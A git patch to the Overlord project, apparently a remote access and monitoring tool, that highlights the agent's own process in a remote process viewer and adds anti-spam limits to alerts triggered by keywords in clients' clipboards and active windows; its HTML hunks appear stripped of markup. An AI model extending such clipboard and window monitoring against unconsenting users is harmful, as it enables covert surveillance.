From d691c5b804b0b0e637f7c63a56d356a4b7f8d5d9 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Sat, 16 May 2026 23:19:46 -0500 Subject: [PATCH] show running process in process viewer and add limiting to the notification system --- .../cmd/agent/handlers/processes_unix.go | 3 + .../cmd/agent/handlers/processes_windows.go | 3 + Overlord-Client/cmd/agent/wire/protocol.go | 1 + .../public/assets/notifications.js | 33 +++++++++- Overlord-Server/public/assets/processes.js | 17 ++++- Overlord-Server/public/notifications.html | 40 +++++++++++ Overlord-Server/public/processes.html | 12 ++++ Overlord-Server/src/config.ts | 18 +++++ Overlord-Server/src/protocol.ts | 1 + .../routes/notifications-config-routes.ts | 16 +++++ .../src/server/ws-notifications-plugin.ts | 66 +++++++++++++++++++ 11 files changed, 207 insertions(+), 3 deletions(-) diff --git a/Overlord-Client/cmd/agent/handlers/processes_unix.go b/Overlord-Client/cmd/agent/handlers/processes_unix.go index ce5429e..caca6d1 100644 --- a/Overlord-Client/cmd/agent/handlers/processes_unix.go +++ b/Overlord-Client/cmd/agent/handlers/processes_unix.go @@ -6,6 +6,7 @@ package handlers import ( "bufio" "bytes" + "os" "os/exec" "strconv" "strings" @@ -15,6 +16,7 @@ import ( ) func listProcesses() ([]wire.ProcessInfo, error) { + selfPID := int32(os.Getpid()) cmd := exec.Command("ps", "aux") output, err := cmd.Output() @@ -78,6 +80,7 @@ func listProcesses() ([]wire.ProcessInfo, error) { Memory: memBytes, Username: username, Type: procType, + Self: int32(pid) == selfPID, }) } diff --git a/Overlord-Client/cmd/agent/handlers/processes_windows.go b/Overlord-Client/cmd/agent/handlers/processes_windows.go index c0f324d..ba37bf3 100644 --- a/Overlord-Client/cmd/agent/handlers/processes_windows.go +++ b/Overlord-Client/cmd/agent/handlers/processes_windows.go @@ -5,6 +5,7 @@ package handlers import ( "fmt" + "os" "strings" "syscall" "unsafe" @@ -37,6 +38,7 @@ type PROCESS_MEMORY_COUNTERS struct { } func listProcesses() ([]wire.ProcessInfo, error) { + selfPID := int32(os.Getpid()) var pids [4096]uint32 var bytesReturned uint32 @@ -157,6 +159,7 @@ func listProcesses() ([]wire.ProcessInfo, error) { Memory: memory, Username: username, Type: procType, + Self: pid == selfPID, }) } diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index 97577b9..8db01cf 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -153,6 +153,7 @@ type ProcessInfo struct { Memory uint64 `msgpack:"memory"` Username string `msgpack:"username,omitempty"` Type string `msgpack:"type,omitempty"` + Self bool `msgpack:"self,omitempty"` } type ProcessListResult struct { diff --git a/Overlord-Server/public/assets/notifications.js b/Overlord-Server/public/assets/notifications.js index 15f138e..28719f9 100644 --- a/Overlord-Server/public/assets/notifications.js +++ b/Overlord-Server/public/assets/notifications.js @@ -27,6 +27,9 @@ const keywordInput = document.getElementById("keyword-input"); const clipboardEnabledInput = document.getElementById("clipboard-enabled"); const saveKeywordsBtn = document.getElementById("save-keywords"); const keywordHint = document.getElementById("keyword-hint"); +const antiSpamMaxHitsInput = document.getElementById("antispam-max-hits"); +const antiSpamWindowInput = document.getElementById("antispam-window"); +const antiSpamCooldownInput = document.getElementById("antispam-cooldown"); // Webhook section const webhookEnabledInput = document.getElementById("webhook-enabled"); @@ -476,6 +479,15 @@ async function loadKeywords() { if (clipboardEnabledInput) { clipboardEnabledInput.checked = data?.notifications?.clipboardEnabled === true; } + if (antiSpamMaxHitsInput) { + antiSpamMaxHitsInput.value = data?.notifications?.antiSpamMaxHits ?? 15; + } + if (antiSpamWindowInput) { + antiSpamWindowInput.value = Math.round((data?.notifications?.antiSpamWindowMs ?? 600000) / 60000); + } + if (antiSpamCooldownInput) { + antiSpamCooldownInput.value = Math.round((data?.notifications?.antiSpamCooldownMs ?? 600000) / 60000); + } } catch {} } @@ -484,11 +496,21 @@ function wireKeywordSave() { saveKeywordsBtn.addEventListener("click", async () => { const keywords = parseKeywords(keywordInput.value); const clipboardEnabled = clipboardEnabledInput ? clipboardEnabledInput.checked : false; + const payload = { keywords, clipboardEnabled }; + if (antiSpamMaxHitsInput) { + payload.antiSpamMaxHits = Math.max(1, parseInt(antiSpamMaxHitsInput.value, 10) || 15); + } + if (antiSpamWindowInput) { + payload.antiSpamWindowMs = Math.max(1, parseInt(antiSpamWindowInput.value, 10) || 10) * 60000; + } + if (antiSpamCooldownInput) { + payload.antiSpamCooldownMs = Math.max(1, parseInt(antiSpamCooldownInput.value, 10) || 10) * 60000; + } try { const res = await fetch("/api/notifications/config", { method: "PUT", headers: { "Content-Type": "application/json" }, - body: JSON.stringify({ keywords, clipboardEnabled }), + body: JSON.stringify(payload), }); if (!res.ok) { window.showToast?.("Failed to save keywords", "error", 4000); @@ -501,6 +523,15 @@ function wireKeywordSave() { if (clipboardEnabledInput && typeof data?.notifications?.clipboardEnabled === "boolean") { clipboardEnabledInput.checked = data.notifications.clipboardEnabled; } + if (antiSpamMaxHitsInput && data?.notifications?.antiSpamMaxHits) { + antiSpamMaxHitsInput.value = data.notifications.antiSpamMaxHits; + } + if (antiSpamWindowInput && data?.notifications?.antiSpamWindowMs) { + antiSpamWindowInput.value = Math.round(data.notifications.antiSpamWindowMs / 60000); + } + if (antiSpamCooldownInput && data?.notifications?.antiSpamCooldownMs) { + antiSpamCooldownInput.value = Math.round(data.notifications.antiSpamCooldownMs / 60000); + } window.showToast?.("Keywords updated", "success", 3000); } catch { window.showToast?.("Failed to save keywords", "error", 4000); diff --git a/Overlord-Server/public/assets/processes.js b/Overlord-Server/public/assets/processes.js index b5cf816..115186b 100644 --- a/Overlord-Server/public/assets/processes.js +++ b/Overlord-Server/public/assets/processes.js @@ -255,6 +255,9 @@ function createProcessRow(proc, depth = 0) { if (selectedPid === proc.pid) { row.classList.add("selected"); } + if (proc.self) { + row.classList.add("self-process"); + } const cpuColor = proc.cpu > 50 @@ -276,6 +279,7 @@ function createProcessRow(proc, depth = 0) { } let nameColor = "text-slate-200"; + let iconClass = "fa-microchip"; let iconColor = "text-blue-400"; if (proc.type === "system") { nameColor = "text-purple-400"; @@ -287,12 +291,21 @@ function createProcessRow(proc, depth = 0) { nameColor = "text-green-300"; iconColor = "text-green-400"; } + if (proc.self) { + nameColor = "text-yellow-300 font-semibold"; + iconClass = "fa-crosshairs"; + iconColor = "text-yellow-400"; + } + + const selfBadge = proc.self + ? ' agent' + : ""; row.innerHTML = `
${proc.pid}
- ${indent}${treeIcon} - ${escapeHtml(proc.name)} + ${indent}${treeIcon} + ${escapeHtml(proc.name)}${selfBadge}
${proc.cpu.toFixed(1)}%
${memoryStr}
diff --git a/Overlord-Server/public/notifications.html b/Overlord-Server/public/notifications.html index c5fe35b..33964c0 100644 --- a/Overlord-Server/public/notifications.html +++ b/Overlord-Server/public/notifications.html @@ -72,6 +72,46 @@ Monitor clipboard content for keyword matches
+ + +
+

Anti-Spam Limits

+

+ Block a keyword for a client when it fires too many times in a short window. +

+
+
+ + +
+
+ + +
+
+ + +
+
+
diff --git a/Overlord-Server/public/processes.html b/Overlord-Server/public/processes.html index 382140c..e264193 100644 --- a/Overlord-Server/public/processes.html +++ b/Overlord-Server/public/processes.html @@ -26,6 +26,14 @@ background-color: rgba(59, 130, 246, 0.3); border-color: rgba(59, 130, 246, 0.6); } + .process-row.self-process { + background-color: rgba(234, 179, 8, 0.12); + border-color: rgba(234, 179, 8, 0.5); + box-shadow: inset 3px 0 0 0 #facc15; + } + .process-row.self-process.selected { + background-color: rgba(234, 179, 8, 0.28); + } /* Dark scrollbar styling */ #process-list::-webkit-scrollbar { width: 12px; @@ -189,6 +197,10 @@ Other +
+ + Overlord Agent +
diff --git a/Overlord-Server/src/config.ts b/Overlord-Server/src/config.ts index a560d2a..5ddf214 100644 --- a/Overlord-Server/src/config.ts +++ b/Overlord-Server/src/config.ts @@ -41,6 +41,9 @@ export interface Config { telegramBotToken: string; telegramChatId: string; clipboardEnabled: boolean; + antiSpamMaxHits: number; + antiSpamWindowMs: number; + antiSpamCooldownMs: number; }; security: { sessionTtlHours: number; @@ -117,6 +120,9 @@ const DEFAULT_CONFIG: Config = { telegramBotToken: "", telegramChatId: "", clipboardEnabled: false, + antiSpamMaxHits: 15, + antiSpamWindowMs: 600000, + antiSpamCooldownMs: 600000, }, security: { sessionTtlHours: 168, @@ -438,6 +444,18 @@ export function loadConfig(): Config { String(process.env.OVERLORD_NOTIFICATION_CLIPBOARD_ENABLED || "").toLowerCase() === "true" || fileConfig.notifications?.clipboardEnabled || DEFAULT_CONFIG.notifications.clipboardEnabled, + antiSpamMaxHits: + Number(process.env.OVERLORD_NOTIFICATION_ANTISPAM_MAX_HITS) || + fileConfig.notifications?.antiSpamMaxHits || + DEFAULT_CONFIG.notifications.antiSpamMaxHits, + antiSpamWindowMs: + Number(process.env.OVERLORD_NOTIFICATION_ANTISPAM_WINDOW_MS) || + fileConfig.notifications?.antiSpamWindowMs || + DEFAULT_CONFIG.notifications.antiSpamWindowMs, + antiSpamCooldownMs: + Number(process.env.OVERLORD_NOTIFICATION_ANTISPAM_COOLDOWN_MS) || + fileConfig.notifications?.antiSpamCooldownMs || + DEFAULT_CONFIG.notifications.antiSpamCooldownMs, }, security: { sessionTtlHours: diff --git a/Overlord-Server/src/protocol.ts b/Overlord-Server/src/protocol.ts index 1e49da4..4022b56 100644 --- a/Overlord-Server/src/protocol.ts +++ b/Overlord-Server/src/protocol.ts @@ -232,6 +232,7 @@ export type ProcessInfo = { memory: number; username?: string; type?: string; + self?: boolean; }; export type ProcessListResult = { diff --git a/Overlord-Server/src/server/routes/notifications-config-routes.ts b/Overlord-Server/src/server/routes/notifications-config-routes.ts index 90a57bf..d9ac054 100644 --- a/Overlord-Server/src/server/routes/notifications-config-routes.ts +++ b/Overlord-Server/src/server/routes/notifications-config-routes.ts @@ -170,6 +170,19 @@ export async function handleNotificationsConfigRoutes( } } + const antiSpamMaxHits = + typeof body?.antiSpamMaxHits === "number" + ? Math.max(1, Math.min(10000, Math.floor(body.antiSpamMaxHits))) + : currentConfig.antiSpamMaxHits; + const antiSpamWindowMs = + typeof body?.antiSpamWindowMs === "number" + ? Math.max(5000, Math.min(86400000, Math.floor(body.antiSpamWindowMs))) + : currentConfig.antiSpamWindowMs; + const antiSpamCooldownMs = + typeof body?.antiSpamCooldownMs === "number" + ? Math.max(5000, Math.min(86400000, Math.floor(body.antiSpamCooldownMs))) + : currentConfig.antiSpamCooldownMs; + const updated = await updateNotificationsConfig({ keywords, webhookEnabled, @@ -178,6 +191,9 @@ export async function handleNotificationsConfigRoutes( telegramBotToken, telegramChatId, clipboardEnabled, + antiSpamMaxHits, + antiSpamWindowMs, + antiSpamCooldownMs, }); for (const client of clientManager.getAllClients().values()) { diff --git a/Overlord-Server/src/server/ws-notifications-plugin.ts b/Overlord-Server/src/server/ws-notifications-plugin.ts index 8ea828c..847447f 100644 --- a/Overlord-Server/src/server/ws-notifications-plugin.ts +++ b/Overlord-Server/src/server/ws-notifications-plugin.ts @@ -33,6 +33,12 @@ type NotificationRateState = { lastWarned: number; }; +type AntiSpamState = { + hits: number; + windowStart: number; + blockedUntil: number; +}; + type PendingNotificationScreenshot = { notificationId: string; clientId: string; @@ -45,6 +51,9 @@ type NotificationConfigShape = { spamWindowMs?: number; spamWarnThreshold?: number; historyLimit?: number; + antiSpamMaxHits?: number; + antiSpamWindowMs?: number; + antiSpamCooldownMs?: number; }; type CreateDeps = { @@ -88,6 +97,8 @@ function safeSendViewer(ws: ServerWebSocket, payload: unknown) { } export function createNotificationPluginHandlers(deps: CreateDeps) { + const antiSpamState = new Map(); + const pluginUIEventBuffer = new Map>(); const PLUGIN_UI_EVENT_BUFFER_MAX = 200; const PLUGIN_UI_EVENT_TTL_MS = 60_000; @@ -183,6 +194,43 @@ export function createNotificationPluginHandlers(deps: CreateDeps) { return true; } + function checkAntiSpam(key: string, ts: number): boolean { + const notificationConfig = deps.getNotificationConfig(); + const maxHits = Math.max(1, notificationConfig.antiSpamMaxHits || 15); + const windowMs = Math.max(5000, notificationConfig.antiSpamWindowMs || 600000); + const cooldownMs = Math.max(5000, notificationConfig.antiSpamCooldownMs || 600000); + + const state = antiSpamState.get(key); + + if (state) { + if (ts < state.blockedUntil) { + return false; + } + + if (ts - state.windowStart > windowMs) { + state.windowStart = ts; + state.hits = 1; + state.blockedUntil = 0; + antiSpamState.set(key, state); + return true; + } + + state.hits += 1; + if (state.hits > maxHits) { + state.blockedUntil = ts + cooldownMs; + logger.warn(`[notify] anti-spam: blocked keyword for ${key} until ${new Date(state.blockedUntil).toISOString()} (${state.hits} hits in ${windowMs}ms)`); + antiSpamState.set(key, state); + return false; + } + + antiSpamState.set(key, state); + return true; + } + + antiSpamState.set(key, { hits: 1, windowStart: ts, blockedUntil: 0 }); + return true; + } + function pruneNotificationRate() { const notificationConfig = deps.getNotificationConfig(); const spamWindow = Math.max(5000, notificationConfig.spamWindowMs || 60000); @@ -193,6 +241,15 @@ export function createNotificationPluginHandlers(deps: CreateDeps) { deps.notificationRate.delete(key); } } + + const antiSpamWindowMs = Math.max(5000, notificationConfig.antiSpamWindowMs || 600000); + const antiSpamCooldownMs = Math.max(5000, notificationConfig.antiSpamCooldownMs || 600000); + const antiSpamMaxAge = Math.max(antiSpamWindowMs, antiSpamCooldownMs) * 2; + for (const [key, state] of antiSpamState) { + if (now - state.windowStart > antiSpamMaxAge && now > state.blockedUntil) { + antiSpamState.delete(key); + } + } } setInterval(pruneNotificationRate, 60_000); @@ -264,6 +321,10 @@ export function createNotificationPluginHandlers(deps: CreateDeps) { if (!shouldAcceptNotification(rateKey, ts)) { return; } + const antiSpamKey = `${clientId}:${keyword || title}`; + if (!checkAntiSpam(antiSpamKey, ts)) { + return; + } const info = clientManager.getClient(clientId); const category: "active_window" | "clipboard" = payload.category === "clipboard" ? "clipboard" : "active_window"; @@ -368,6 +429,11 @@ export function createNotificationPluginHandlers(deps: CreateDeps) { deps.notificationRate.delete(key); } } + for (const key of Array.from(antiSpamState.keys())) { + if (key === clientId || key.startsWith(`${clientId}:`)) { + antiSpamState.delete(key); + } + } const item = { type: "notifications_cleared", clientId, ts: Date.now() }; for (const session of sessionManager.getAllNotificationSessions().values()) { const sRole = session.userRole ?? session.viewer.data.userRole ?? "";